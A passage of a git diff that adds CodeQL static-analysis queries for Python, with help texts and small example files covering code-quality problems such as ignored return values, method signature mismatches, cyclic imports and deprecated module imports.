    +If you have access to the source code of the called function, then consider modifying it so that it does not return pointless values. +

    + + +
    + + +

    +In the ignore_error function the error condition is ignored. +Ideally the Resource.initialize() function would raise an exception if it failed, but as it does not, the caller must deal with the error. +The do_not_ignore_error function checks the error condition and raises an exception if Resource.initialize() fails. +

    + + + +
    + + +
  • Python Language Reference: Function definitions. +
  • + +
    +
    diff --git a/python/ql/src/Functions/ReturnValueIgnored.ql b/python/ql/src/Functions/ReturnValueIgnored.ql new file mode 100644 index 00000000000..19896533a7c --- /dev/null +++ b/python/ql/src/Functions/ReturnValueIgnored.ql @@ -0,0 +1,72 @@ +/** + * @name Ignored return value + * @description Ignoring return values may result in discarding errors or loss of information. + * @kind problem + * @tags reliability + * readability + * convention + * statistical + * non-attributable + * external/cwe/cwe-252 + * @problem.severity recommendation + * @sub-severity high + * @precision medium + * @id py/ignored-return-value + */ + +import python + +predicate meaningful_return_value(Expr val) { + val instanceof Name + or + val instanceof BooleanLiteral + or + exists(FunctionObject callee | val = callee.getACall().getNode() and returns_meaningful_value(callee)) + or + not exists(FunctionObject callee | val = callee.getACall().getNode()) and not val instanceof Name +} + +/* Value is used before returning, and thus its value is not lost if ignored */ +predicate used_value(Expr val) { + exists(LocalVariable var, Expr other | var.getAnAccess() = val and other = var.getAnAccess() and not other = val) +} + +predicate returns_meaningful_value(FunctionObject f) { + not exists(f.getFunction().getFallthroughNode()) + and + ( + exists(Return ret, Expr val | ret.getScope() = f.getFunction() and val = ret.getValue() | + meaningful_return_value(val) and + not used_value(val) + ) + or + /* Is f a builtin function that returns something other than None? + * Ignore __import__ as it is often called purely for side effects */ + f.isC() and f.getAnInferredReturnType() != theNoneType() and not f.getName() = "__import__" + ) +} + +/* If a call is wrapped tightly in a try-except then we assume it is being executed for the exception. */ +predicate wrapped_in_try_except(ExprStmt call) { + exists(Try t | + exists(t.getAHandler()) and + strictcount(Call c | t.getBody().contains(c)) = 1 and + call = t.getAStmt() + ) +} + +from ExprStmt call, FunctionObject callee, float percentage_used, int total +where call.getValue() = callee.getACall().getNode() and returns_meaningful_value(callee) and +not wrapped_in_try_except(call) and +exists(int unused | + unused = count(ExprStmt e | e.getValue().getAFlowNode() = callee.getACall()) and + total = count(callee.getACall()) | + percentage_used = (100.0*(total-unused)/total).floor() +) and +/* Report an alert if we see at least 5 calls and the return value is used in at least 3/4 of those calls. */ +percentage_used >= 75 and +total >= 5 + +select call, "Call discards return value of function $@. The result is used in " + percentage_used.toString() + "% of calls.", +callee, callee.getName() + diff --git a/python/ql/src/Functions/SignatureIncorrectlyOverriddenMethod.py b/python/ql/src/Functions/SignatureIncorrectlyOverriddenMethod.py new file mode 100644 index 00000000000..731ef72dac0 --- /dev/null +++ b/python/ql/src/Functions/SignatureIncorrectlyOverriddenMethod.py @@ -0,0 +1,14 @@ + +class BaseClass(object): + + def run(self, source, filename, symbol="single"): + ... # Definition + + def load_and_run(self, filename): + source = self.load(filename) + self.run(source, filename) # Matches signature in this class, but not in the derived class. + +class DerivedClass(BaseClass): + + def run(self, source): + ... # Definition diff --git a/python/ql/src/Functions/SignatureOverriddenMethod.py b/python/ql/src/Functions/SignatureOverriddenMethod.py new file mode 100644 index 00000000000..7beddcb9e95 --- /dev/null +++ b/python/ql/src/Functions/SignatureOverriddenMethod.py @@ -0,0 +1,9 @@ + +# Base class method +def runsource(self, source, filename="", symbol="single"): + ... # Definition + + +# Extend base class method +def runsource(self, source): + ... # Definition \ No newline at end of file diff --git a/python/ql/src/Functions/SignatureOverriddenMethod.qhelp b/python/ql/src/Functions/SignatureOverriddenMethod.qhelp new file mode 100644 index 00000000000..b7da2678e3d --- /dev/null +++ b/python/ql/src/Functions/SignatureOverriddenMethod.qhelp @@ -0,0 +1,41 @@ + + + + + +

    There are one (or more) legal parameters for an overridden method that are +not legal for an overriding method. This will cause an error when the overriding +method is called with a number of parameters that is legal for the overridden method. +This violates the Liskov substitution principle. +

    + +
    + + +

    Ensure that the overriding method accepts all the parameters that are legal for +overridden method.

    + +
    + +

    In this example there is a mismatch between the legal parameters for the base +class method (self, source, filename, symbol) and the extension method +(self, source). The extension method can be used to override the base +method as long as values are not specified for the filename and +symbol parameters. If the extension method was passed the additional +parameters accepted by the base method then an error would occur.

    + + + +

    The extension method should be updated to support the filename and +symbol parameters supported by the overridden method.

    + +
    + + +
  • Wikipedia: Liskov Substitution Principle, Method overriding.
  • + + +
    +
    diff --git a/python/ql/src/Functions/SignatureOverriddenMethod.ql b/python/ql/src/Functions/SignatureOverriddenMethod.ql new file mode 100644 index 00000000000..47182d8d87d --- /dev/null +++ b/python/ql/src/Functions/SignatureOverriddenMethod.ql @@ -0,0 +1,35 @@ +/** + * @name Signature mismatch in overriding method + * @description Overriding a method without ensuring that both methods accept the same + * number and type of parameters has the potential to cause an error when there is a mismatch. + * @kind problem + * @problem.severity warning + * @tags reliability + * correctness + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/inheritance/signature-mismatch + */ + +import python +import Expressions.CallArgs + +from FunctionObject base, PyFunctionObject derived +where + not exists(base.getACall()) and + not exists(FunctionObject a_derived | + a_derived.overrides(base) and + exists(a_derived.getACall()) + ) and + not derived.getFunction().isSpecialMethod() and + derived.getName() != "__init__" and + derived.isNormalMethod() and + not derived.getFunction().isSpecialMethod() and + // call to overrides distributed for efficiency + ( + (derived.overrides(base) and derived.minParameters() > base.maxParameters()) + or + (derived.overrides(base) and derived.maxParameters() < base.minParameters()) + ) +select derived, "Overriding method '" + derived.getName() + "' has signature mismatch with $@.", base, "overridden method" diff --git a/python/ql/src/Functions/SignatureOverridingMethod.py b/python/ql/src/Functions/SignatureOverridingMethod.py new file mode 100644 index 00000000000..f4898ef45b5 --- /dev/null +++ b/python/ql/src/Functions/SignatureOverridingMethod.py @@ -0,0 +1,14 @@ + +class BaseClass(object): + + def run(self, source, filename, symbol="single"): + ... # Definition + + def load_and_run(self, filename): + source = self.load(filename) + self.run(source) # Matches signature in derived class, but not in this class. + +class DerivedClass(BaseClass): + + def run(self, source): + ... # Definition diff --git a/python/ql/src/Functions/SignatureSpecialMethods.py b/python/ql/src/Functions/SignatureSpecialMethods.py new file mode 100644 index 00000000000..343baf55f72 --- /dev/null +++ b/python/ql/src/Functions/SignatureSpecialMethods.py @@ -0,0 +1,18 @@ +#-*- coding: utf-8 -*- + +class Point(object): + + def __init__(self, x, y): + self.x + self.y + + def __add__(self, other): + if not isinstance(other, Point): + return NotImplemented + return Point(self.x + other.x, self.y + other.y) + + def __str__(self, style): #Spurious extra parameter + if style == 'polar': + u"%s @ %s\u00b0" % (abs(self), self.angle()) + else: + return "[%s, %s]" % (self.x, self.y) diff --git a/python/ql/src/Functions/SignatureSpecialMethods.qhelp b/python/ql/src/Functions/SignatureSpecialMethods.qhelp new file mode 100644 index 00000000000..ab25c13f07f --- /dev/null +++ b/python/ql/src/Functions/SignatureSpecialMethods.qhelp @@ -0,0 +1,34 @@ + + + +

    Special methods (sometimes also called magic methods) are how user defined classes interact with the Python virtual machine. +For example, for a class to support addition it must implement the __add__ and __radd__ special methods. +When the expression a + b is evaluated the Python virtual machine will call type(a).__add__(a, b) and if that +is not implemented it will call type(b).__radd__(b, a).

    +

    +Since these special methods are always called by the virtual machine with a fixed number of parameters, if the method is implemented with +a different number of parameters it will fail at runtime with a TypeError. +

    + +
    + +

    Ensure that the method has the correct number of parameters

    + +
    + +

    In the example the __str__ method has an extra parameter. This means that if str(p) is called when p +is a Point then it will fail with a TypeError. +

    + + + +
    + + +
  • Python Language Reference: Special Method Names.
  • + + +
    +
    diff --git a/python/ql/src/Functions/SignatureSpecialMethods.ql b/python/ql/src/Functions/SignatureSpecialMethods.ql new file mode 100644 index 00000000000..1301949768a --- /dev/null +++ b/python/ql/src/Functions/SignatureSpecialMethods.ql @@ -0,0 +1,200 @@ +/** + * @name Special method has incorrect signature + * @description Special method has incorrect signature + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/special-method-wrong-signature + */ + +import python + + +predicate is_unary_op(string name) { + name = "__del__" or + name = "__repr__" or + name = "__str__" or + name = "__hash__" or + name = "__bool__" or + name = "__nonzero__" or + name = "__unicode__" or + name = "__len__" or + name = "__iter__" or + name = "__reversed__" or + name = "__neg__" or + name = "__pos__" or + name = "__abs__" or + name = "__invert__" or + name = "__complex__" or + name = "__int__" or + name = "__float__" or + name = "__long__" or + name = "__oct__" or + name = "__hex__" or + name = "__index__" or + name = "__enter__" +} + +predicate is_binary_op(string name) { + name = "__lt__" or + name = "__le__" or + name = "__eq__" or + name = "__ne__" or + name = "__gt__" or + name = "__ge__" or + name = "__cmp__" or + name = "__rcmp__" or + name = "__getattr___" or + name = "__getattribute___" or + name = "__delattr__" or + name = "__delete__" or + name = "__instancecheck__" or + name = "__subclasscheck__" or + name = "__getitem__" or + name = "__delitem__" or + name = "__contains__" or + name = "__add__" or + name = "__sub__" or + name = "__mul__" or + name = "__floordiv__" or + name = "__div__" or + name = "__truediv__" or + name = "__mod__" or + name = "__divmod__" or + name = "__lshift__" or + name = "__rshift__" or + name = "__and__" or + name = "__xor__" or + name = "__or__" or + name = "__radd__" or + name = "__rsub__" or + name = "__rmul__" or + name = "__rfloordiv__" or + name = "__rdiv__" or + name = "__rtruediv__" or + name = "__rmod__" or + name = "__rdivmod__" or + name = "__rpow__" or + name = "__rlshift__" or + name = "__rrshift__" or + name = "__rand__" or + name = "__rxor__" or + name = "__ror__" or + name = "__iadd__" or + name = "__isub__" or + name = "__imul__" or + name = "__ifloordiv__" or + name = "__idiv__" or + name = "__itruediv__" or + name = "__imod__" or + name = "__idivmod__" or + name = "__ipow__" or + name = "__ilshift__" or + name = "__irshift__" or + name = "__iand__" or + name = "__ixor__" or + name = "__ior__" or + name = "__coerce__" +} + +predicate is_ternary_op(string name) { + name = "__setattr__" or + name = "__set__" or + name = "__setitem__" or + name = "__getslice__" or + name = "__delslice__" +} + +predicate is_quad_op(string name) { + name = "__setslice__" or name = "__exit__" +} + +int argument_count(PyFunctionObject f, string name, ClassObject cls) { + cls.declaredAttribute(name) = f and + ( + is_unary_op(name) and result = 1 + or + is_binary_op(name) and result = 2 + or + is_ternary_op(name) and result = 3 + or + is_quad_op(name) and result = 4 + ) +} + +predicate incorrect_special_method_defn(PyFunctionObject func, string message, boolean show_counts, string name, ClassObject owner) { + exists(int required | + required = argument_count(func, name, owner) | + /* actual_non_default <= actual */ + if required > func.maxParameters() then + (message = "Too few parameters" and show_counts = true) + else if required < func.minParameters() then + (message = "Too many parameters" and show_counts = true) + else if (func.minParameters() < required and not func.getFunction().hasVarArg()) then + (message = (required -func.minParameters()) + " default values(s) will never be used" and show_counts = false) + else + none() + ) +} + +predicate incorrect_pow(FunctionObject func, string message, boolean show_counts, ClassObject owner) { + owner.declaredAttribute("__pow__") = func and + ( + func.maxParameters() < 2 and message = "Too few parameters" and show_counts = true + or + func.minParameters() > 3 and message = "Too many parameters" and show_counts = true + or + func.minParameters() < 2 and message = (2 - func.minParameters()) + " default value(s) will never be used" and show_counts = false + or + func.minParameters() = 3 and message = "Third parameter to __pow__ should have a default value" and show_counts = false + ) +} + +predicate incorrect_get(FunctionObject func, string message, boolean show_counts, ClassObject owner) { + owner.declaredAttribute("__get__") = func and + ( + func.maxParameters() < 3 and message = "Too few parameters" and show_counts = true + or + func.minParameters() > 3 and message = "Too many parameters" and show_counts = true + or + func.minParameters() < 2 and not func.getFunction().hasVarArg() and + message = (2 - func.minParameters()) + " default value(s) will never be used" and show_counts = false + ) +} + +string should_have_parameters(PyFunctionObject f, string name, ClassObject owner) { + exists(int i | i = argument_count(f, name, owner) | + result = i.toString() + ) + or + owner.declaredAttribute(name) = f and (name = "__get__" or name = "__pow__") and result = "2 or 3" +} + +string has_parameters(PyFunctionObject f) { + exists(int i | i = f.minParameters() | + i = 0 and result = "no parameters" + or + i = 1 and result = "1 parameter" + or + i > 1 and result = i.toString() + " parameters" + ) +} + +from PyFunctionObject f, string message, string sizes, boolean show_counts, string name, ClassObject owner +where + ( + incorrect_special_method_defn(f, message, show_counts, name, owner) + or + incorrect_pow(f, message, show_counts, owner) and name = "__pow__" + or + incorrect_get(f, message, show_counts, owner) and name = "__get__" + ) + and + ( + show_counts = false and sizes = "" or + show_counts = true and sizes = ", which has " + has_parameters(f) + ", but should have " + should_have_parameters(f, name, owner) + ) +select f, message + " for special method " + name + sizes + ", in class $@.", owner, owner.getName() diff --git a/python/ql/src/Functions/UseImplicitNoneReturnValue.py b/python/ql/src/Functions/UseImplicitNoneReturnValue.py new file mode 100644 index 00000000000..fcaafcfde75 --- /dev/null +++ b/python/ql/src/Functions/UseImplicitNoneReturnValue.py @@ -0,0 +1,17 @@ + +import sys + +def my_print(*args): + print (args) + +def main(): + err = my_print(sys.argv) + if err: + sys.exit(err) + + +#FIXED VERSION +def main(): + my_print(sys.argv) + #The rest of the code can be removed as None as always false + diff --git a/python/ql/src/Functions/UseImplicitNoneReturnValue.qhelp b/python/ql/src/Functions/UseImplicitNoneReturnValue.qhelp new file mode 100644 index 00000000000..2637ac21ef3 --- /dev/null +++ b/python/ql/src/Functions/UseImplicitNoneReturnValue.qhelp @@ -0,0 +1,32 @@ + + + +

    All functions in Python return a value. +If a function has no return statements or none of the return statements return a value +then the function will return None. However, this value has no meaning and should be ignored.

    + +

    Using the return value of such a 'procedure' is confusing to the reader as it suggests +that the value is significant. +

    + +
    + +

    Do not use the return value of a procedure; replace x = proc() with proc() +and replace any use of the value with None.

    + +
    + +

    In this example, the my_print function is a procedure as it returns no value of any meaning. +Using the return value is misleading in subsequent code. +

    + + +
    + + +
  • Python Library Reference: None.
  • + +
    +
    diff --git a/python/ql/src/Functions/UseImplicitNoneReturnValue.ql b/python/ql/src/Functions/UseImplicitNoneReturnValue.ql new file mode 100644 index 00000000000..d2c954cb4c9 --- /dev/null +++ b/python/ql/src/Functions/UseImplicitNoneReturnValue.ql @@ -0,0 +1,34 @@ +/** + * @name Use of the return value of a procedure + * @description The return value of a procedure (a function that does not return a value) is used. This is confusing to the reader as the value (None) has no meaning. + * @kind problem + * @tags maintainability + * @problem.severity warning + * @sub-severity low + * @precision high + * @id py/procedure-return-value-used + */ + +import python +import Testing.Mox + +predicate is_used(Call c) { + exists(Expr outer | outer != c and outer.containsInScope(c) | outer instanceof Call or outer instanceof Attribute or outer instanceof Subscript) + or + exists(Stmt s | + c = s.getASubExpression() and + not s instanceof ExprStmt and + /* Ignore if a single return, as def f(): return g() is quite common. Covers implicit return in a lambda. */ + not (s instanceof Return and strictcount(Return r | r.getScope() = s.getScope()) = 1) + ) +} + +from Call c, FunctionObject func +where +/* Call result is used, but callee is a procedure */ +is_used(c) and c.getFunc().refersTo(func) and func.getFunction().isProcedure() and +/* All callees are procedures */ +forall(FunctionObject callee | c.getFunc().refersTo(callee) | callee.getFunction().isProcedure()) and +/* Mox return objects have an `AndReturn` method */ +not useOfMoxInModule(c.getEnclosingModule()) +select c, "The result of '$@' is used even though it is always None.", func, func.getQualifiedName() diff --git a/python/ql/src/Imports/Cyclic.qll b/python/ql/src/Imports/Cyclic.qll new file mode 100644 index 00000000000..b16e3ae147c --- /dev/null +++ b/python/ql/src/Imports/Cyclic.qll @@ -0,0 +1,89 @@ +import python + +predicate is_import_time(Stmt s) { + not s.getScope+() instanceof Function +} + +PythonModuleObject module_imported_by(PythonModuleObject m) { + exists(Stmt imp | + result = stmt_imports(imp) and + imp.getEnclosingModule() = m.getModule() and + // Import must reach exit to be part of a cycle + imp.getAnEntryNode().getBasicBlock().reachesExit() + ) +} + +/** Is there a circular import of 'm1' beginning with 'm2'? */ +predicate circular_import(PythonModuleObject m1, PythonModuleObject m2) { + m1 != m2 and + m2 = module_imported_by(m1) and m1 = module_imported_by+(m2) +} + +ModuleObject stmt_imports(ImportingStmt s) { + exists(string name | + result.importedAs(name) and not name = "__main__" | + name = s.getAnImportedModuleName() + ) +} + +predicate import_time_imported_module(PythonModuleObject m1, PythonModuleObject m2, Stmt imp) { + imp.getEnclosingModule() = m1.getModule() and + is_import_time(imp) and + m2 = stmt_imports(imp) +} + +/** Is there a cyclic import of 'm1' beginning with an import 'm2' at 'imp' where all the imports are top-level? */ +predicate import_time_circular_import(PythonModuleObject m1, PythonModuleObject m2, Stmt imp) { + m1 != m2 and + import_time_imported_module(m1, m2, imp) and + import_time_transitive_import(m2, _, m1) +} + +predicate import_time_transitive_import(PythonModuleObject base, Stmt imp, PythonModuleObject last) { + last != base and + ( + import_time_imported_module(base, last, imp) + or + exists(PythonModuleObject mid | + import_time_transitive_import(base, imp, mid) and + import_time_imported_module(mid, last, _) + ) + ) and + // Import must reach exit to be part of a cycle + imp.getAnEntryNode().getBasicBlock().reachesExit() +} + +/** + * Returns import-time usages of module 'm' in module 'enclosing' + */ +predicate import_time_module_use(PythonModuleObject m, PythonModuleObject enclosing, Expr use, string attr) { + exists(Expr mod | + use.getEnclosingModule() = enclosing.getModule() and + not use.getScope+() instanceof Function + and mod.refersTo(m) + | + // either 'M.foo' + use.(Attribute).getObject() = mod and use.(Attribute).getName() = attr + or + // or 'from M import foo' + use.(ImportMember).getModule() = mod and use.(ImportMember).getName() = attr + ) +} + +/** Whether importing module 'first' before importing module 'other' will fail at runtime, due to an + AttributeError at 'use' (in module 'other') caused by 'first.attr' not being defined as its definition can + occur after the import 'other' in 'first'. +*/ +predicate failing_import_due_to_cycle(PythonModuleObject first, PythonModuleObject other, Stmt imp, + ControlFlowNode defn, Expr use, string attr) { + import_time_imported_module(other, first, _) and + import_time_transitive_import(first, imp, other) and + import_time_module_use(first, other, use, attr) and + exists(ImportTimeScope n, SsaVariable v | + defn = v.getDefinition() and + n = first.getModule() and v.getVariable().getScope() = n and v.getId() = attr | + not defn.strictlyDominates(imp.getAnEntryNode()) + ) + and not exists(If i | i.isNameEqMain() and i.contains(use)) +} + diff --git a/python/ql/src/Imports/CyclicImport.qhelp b/python/ql/src/Imports/CyclicImport.qhelp new file mode 100644 index 00000000000..0d84c64418a --- /dev/null +++ b/python/ql/src/Imports/CyclicImport.qhelp @@ -0,0 +1,36 @@ + + + +

    A cyclic import is an import which imports another module +and that module imports (possibly indirectly) the module which contains the +import statement.

    + +

    Cyclic imports indicate that two modules are circularly dependent. This means +that the modules cannot be tested independently, and it makes it harder to +understand the architecture of the system. +

    + +
    + + +

    The cycle may be broken by removing any one import. If only one function or +method requires the import, then consider moving that to the other module and +deleting the import. If the two modules are more intimately connected, then move +the inter-dependent parts into a third module and have both the original modules +import that. +

    + + +
    + + + +
  • Python Language Reference: The import statement.
  • +
  • Python: Modules.
  • +
  • Effbot: Import Confusion.
  • + + +
    +
    diff --git a/python/ql/src/Imports/CyclicImport.ql b/python/ql/src/Imports/CyclicImport.ql new file mode 100644 index 00000000000..1e1586c2f93 --- /dev/null +++ b/python/ql/src/Imports/CyclicImport.ql @@ -0,0 +1,27 @@ +/** + * @name Cyclic import + * @description Module forms part of an import cycle, thereby indirectly importing itself. + * @kind problem + * @tags reliability + * maintainability + * modularity + * @problem.severity recommendation + * @sub-severity low + * @precision high + * @id py/cyclic-import + */ + +import python +import Cyclic + +from PythonModuleObject m1, PythonModuleObject m2, Stmt imp +where + imp.getEnclosingModule() = m1.getModule() + and stmt_imports(imp) = m2 + and circular_import(m1, m2) + and m1 != m2 + // this query finds all cyclic imports that are *not* flagged by ModuleLevelCyclicImport + and not failing_import_due_to_cycle(m2, m1, _, _, _, _) + and not exists(If i | i.isNameEqMain() and i.contains(imp)) +select imp, "Import of module $@ begins an import cycle.", m2, m2.getName() + diff --git a/python/ql/src/Imports/DeprecatedModule.qhelp b/python/ql/src/Imports/DeprecatedModule.qhelp new file mode 100644 index 00000000000..53c0d1abbc6 --- /dev/null +++ b/python/ql/src/Imports/DeprecatedModule.qhelp @@ -0,0 +1,23 @@ + + + +

    A module is deprecated when it cannot or will not be maintained indefinitely in the standard library. +Deprecated modules may not receive security fixes or other important updates. +See PEP 4 for a list of all deprecated modules. +

    +
    + + +

    Do not import the deprecated module. Replace uses of it with uses of a better maintained module. +

    + +
    + + +
  • Python PEPs: PEP 4 -- Deprecation of Standard Modules .
  • + + +
    +
    diff --git a/python/ql/src/Imports/DeprecatedModule.ql b/python/ql/src/Imports/DeprecatedModule.ql new file mode 100644 index 00000000000..22f4f962e31 --- /dev/null +++ b/python/ql/src/Imports/DeprecatedModule.ql @@ -0,0 +1,73 @@ +/** + * @name Import of deprecated module + * @description Import of a deprecated module + * @kind problem + * @tags maintainability + * external/cwe/cwe-477 + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/import-deprecated-module + */ + +import python + + +predicate deprecated_module(string name, string instead, int major, int minor) { + name = "posixfile" and instead = "email" and major = 1 and minor = 5 + or + name = "gopherlib" and instead = "no replacement" and major = 2 and minor = 5 + or + name = "rgbimgmodule" and instead = "no replacement" and major = 2 and minor = 5 + or + name = "pre" and instead = "re" and major = 1 and minor = 5 + or + name = "whrandom" and instead = "random" and major = 2 and minor = 1 + or + name = "rfc822" and instead = "email" and major = 2 and minor = 3 + or + name = "mimetools" and instead = "email" and major = 2 and minor = 3 + or + name = "MimeWriter" and instead = "email" and major = 2 and minor = 3 + or + name = "mimify" and instead = "email" and major = 2 and minor = 3 + or + name = "rotor" and instead = "no replacement" and major = 2 and minor = 4 + or + name = "statcache" and instead = "no replacement" and major = 2 and minor = 2 + or + name = "mpz" and instead = "a third party" and major = 2 and minor = 2 + or + name = "xreadlines" and instead = "no replacement" and major = 2 and minor = 3 + or + name = "multifile" and instead = "email" and major = 2 and minor = 5 + or + name = "sets" and instead = "builtins" and major = 2 and minor = 6 + or + name = "buildtools" and instead = "no replacement" and major = 2 and minor = 3 + or + name = "cfmfile" and instead = "no replacement" and major = 2 and minor = 4 + or + name = "macfs" and instead = "no replacement" and major = 2 and minor = 3 + or + name = "md5" and instead = "hashlib" and major = 2 and minor = 5 + or + name = "sha" and instead = "hashlib" and major = 2 and minor = 5 +} + +string deprecation_message(string mod) { + exists(int major, int minor | deprecated_module(mod, _, major, minor) | + result = "The " + mod + " module was deprecated in version " + major.toString() + "." + minor.toString() + ".") +} + +string replacement_message(string mod) { + exists(string instead | deprecated_module(mod, instead, _, _) | + result = " Use " + instead + " module instead." and not instead = "no replacement" + or + result = "" and instead = "no replacement" + ) +} + +from ImportExpr imp, Stmt s, Expr e +where s.getASubExpression() = e and (e = imp or e.contains(imp)) +select s, deprecation_message(imp.getName()) + replacement_message(imp.getName()) diff --git a/python/ql/src/Imports/EncodingError.qhelp b/python/ql/src/Imports/EncodingError.qhelp new file mode 100644 index 00000000000..7142390b679 --- /dev/null +++ b/python/ql/src/Imports/EncodingError.qhelp @@ -0,0 +1,36 @@ + + + + +

    Encoding errors prevent a module being evaluated and thus imported. +An attempt to import a module with an invalid encoding will fail; a SyntaxError will be raised. +Note that in Python 2, the default encoding is ASCII. +

    + +

    The existence of an encoding error in a module may suggest other problems as well. +Either the module is never imported in practice and could be deleted or a +try statement around the import is mistakenly discarding the SyntaxError. +

    + + +
    + +

    Fixing the encoding error is the obvious fix. +However, it is worth investigating why a module containing an encoding error +was able to persist and address that problem as well. +

    +

    + If a different encoding should be used for the file, specify it explicitly by + putting an encoding specification at the top of the file. For instance, to + specify UTF-8 encoding, add the line # coding=utf-8. +

    + +
    + +
  • Python PEPs: PEP 263 — Defining Python Source Code Encodings.
  • +
  • Python Tutorial: SyntaxErrors.
  • + +
    +
    diff --git a/python/ql/src/Imports/EncodingError.ql b/python/ql/src/Imports/EncodingError.ql new file mode 100644 index 00000000000..f26bf8dad33 --- /dev/null +++ b/python/ql/src/Imports/EncodingError.ql @@ -0,0 +1,16 @@ +/** + * @name Encoding error + * @description Encoding errors cause failures at runtime and prevent analysis of the code. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/encoding-error + */ + +import python + +from EncodingError error +select error, error.getMessage() \ No newline at end of file diff --git a/python/ql/src/Imports/FromImportOfMutableAttribute.qhelp b/python/ql/src/Imports/FromImportOfMutableAttribute.qhelp new file mode 100644 index 00000000000..78b03e1cb7c --- /dev/null +++ b/python/ql/src/Imports/FromImportOfMutableAttribute.qhelp @@ -0,0 +1,45 @@ + + + +

    +Explicitly importing an attribute from a module into the current namespace means that the value of that attribute will not be updated if the value in the original module changes. +

    +

    +This can mean that changes in global state are not observed locally, which may lead to inconsistencies and possible errors. +

    + + +
    + +

    Instead of using from module import attr, simply import the module using import module +and replace all uses of attr with module.attr. +

    +
    + + +

    In the first of the two modules shown below, from sys import stdout is used to import the stdout attribute, +rather than using import sys to import the module. Then stdout is used in the main() function. +

    + +

    In the second module, below, a function, redirect_to_file is defined to collect the output from sys.stdout and save it to a file. +However, redirect_to_file will not work correctly when passed the main() function. +This is because the main() function will not see the change to sys.stdout, +as it uses its own version of stdout that was defined when the module was loaded. +

    + +

    +The problem can be fixed by rewriting the first module to import the sys module and write to sys.stdout, as shown below. +

    + +
    + + + +
  • Python Language Reference: The import statement.
  • +
  • Python Tutorial: Modules.
  • + + +
    +
    diff --git a/python/ql/src/Imports/FromImportOfMutableAttribute.ql b/python/ql/src/Imports/FromImportOfMutableAttribute.ql new file mode 100644 index 00000000000..e5e7c96985e --- /dev/null +++ b/python/ql/src/Imports/FromImportOfMutableAttribute.ql @@ -0,0 +1,31 @@ +/** + * @name Importing value of mutable attribute + * @description Importing the value of a mutable attribute directly means that changes in global state will not be observed locally. + * @kind problem + * @tags reliability + * maintainability + * modularity + * @problem.severity warning + * @sub-severity high + * @precision medium + * @id py/import-of-mutable-attribute + */ +import python +import semmle.python.filters.Tests + +from ImportMember im, ModuleObject m, AttrNode store_attr, string name +where im.getModule().(ImportExpr).getImportedModuleName() = m.getName() and +im.getName() = name and +/* Modification must be in a function, so it can occur during lifetime of the import value */ +store_attr.getScope() instanceof Function and +/* variable resulting from import must have a long lifetime */ +not im.getScope() instanceof Function and +store_attr.isStore() and +store_attr.getObject(name).refersTo(m) and +/* Import not in same module as modification. */ +not im.getEnclosingModule() = store_attr.getScope().getEnclosingModule() and +/* Modification is not in a test */ +not store_attr.getScope().getScope*() instanceof TestScope + +select im, "Importing the value of '" + name + "' from $@ means that any change made to $@ will be not be observed locally.", +m, "module " + m.getName(), store_attr, m.getName() + "." + store_attr.getName() diff --git a/python/ql/src/Imports/ImportOnTwoLines.py b/python/ql/src/Imports/ImportOnTwoLines.py new file mode 100644 index 00000000000..226b41ccd14 --- /dev/null +++ b/python/ql/src/Imports/ImportOnTwoLines.py @@ -0,0 +1,2 @@ +import xxx +import yyy diff --git a/python/ql/src/Imports/ImportShadowedByLoopVar.qhelp b/python/ql/src/Imports/ImportShadowedByLoopVar.qhelp new file mode 100644 index 00000000000..566d51f0710 --- /dev/null +++ b/python/ql/src/Imports/ImportShadowedByLoopVar.qhelp @@ -0,0 +1,10 @@ + + + + +

    This is defined as an error in PyFlakes.

    + +
    +
    diff --git a/python/ql/src/Imports/ImportShadowedByLoopVar.ql b/python/ql/src/Imports/ImportShadowedByLoopVar.ql new file mode 100644 index 00000000000..29f6536cce7 --- /dev/null +++ b/python/ql/src/Imports/ImportShadowedByLoopVar.ql @@ -0,0 +1,22 @@ +/** + * @name Import shadowed by loop variable + * @description A loop variable shadows an import. + * @kind problem + * @tags maintainability + * @problem.severity recommendation + * @sub-severity low + * @deprecated + * @precision very-high + * @id py/import-shadowed-loop-variable + */ + +import python + +predicate shadowsImport(Variable l) { + exists(Import i, Name shadow | shadow = i.getAName().getAsname() and shadow.getId() = l.getId() and i.getScope() = l.getScope().getScope*()) +} + + +from Variable l, Name defn +where shadowsImport(l) and defn.defines(l) and exists(For for | defn = for.getTarget()) +select defn, "Loop variable '" + l.getId() + "' shadows an import" diff --git a/python/ql/src/Imports/ImportStarUsed.qhelp b/python/ql/src/Imports/ImportStarUsed.qhelp new file mode 100644 index 00000000000..65f92a5f5e0 --- /dev/null +++ b/python/ql/src/Imports/ImportStarUsed.qhelp @@ -0,0 +1,27 @@ + + + + +

    Using from xxx import * makes it difficult to determine what has +been defined by the import statement. This may hide errors and introduce +unexpected dependencies.

    + +
    + + +

    +Use explicit imports. For example from xxx import a, b, c +

    + +
    + + + +
  • Python Language Reference: The import statement.
  • +
  • Python PEP-8: Imports.
  • + + +
    +
    diff --git a/python/ql/src/Imports/ImportStarUsed.ql b/python/ql/src/Imports/ImportStarUsed.ql new file mode 100644 index 00000000000..bc125c05a3b --- /dev/null +++ b/python/ql/src/Imports/ImportStarUsed.ql @@ -0,0 +1,17 @@ +/** + * @name 'import *' used + * @description Using import * prevents some analysis + * @kind problem + * @tags maintainability + * @problem.severity recommendation + * @sub-severity low + * @deprecated + * @precision medium + * @id py/import-star-used + */ + +import python + +from ImportStar i +select i, "Using 'from ... import *' pollutes the namespace" + diff --git a/python/ql/src/Imports/ImportTwiceOnALine.py b/python/ql/src/Imports/ImportTwiceOnALine.py new file mode 100644 index 00000000000..4a22939b333 --- /dev/null +++ b/python/ql/src/Imports/ImportTwiceOnALine.py @@ -0,0 +1 @@ +import xxx, yyy diff --git a/python/ql/src/Imports/ImportandImportFrom.py b/python/ql/src/Imports/ImportandImportFrom.py new file mode 100644 index 00000000000..9c373d6e58b --- /dev/null +++ b/python/ql/src/Imports/ImportandImportFrom.py @@ -0,0 +1,2 @@ +import os +from os import walk diff --git a/python/ql/src/Imports/ImportandImportFrom.qhelp b/python/ql/src/Imports/ImportandImportFrom.qhelp new file mode 100644 index 00000000000..58dd1ada083 --- /dev/null +++ b/python/ql/src/Imports/ImportandImportFrom.qhelp @@ -0,0 +1,27 @@ + + + + + +

    Importing a module twice using the import xxx and +from xxx import yyy is confusing. +

    + +
    + + +

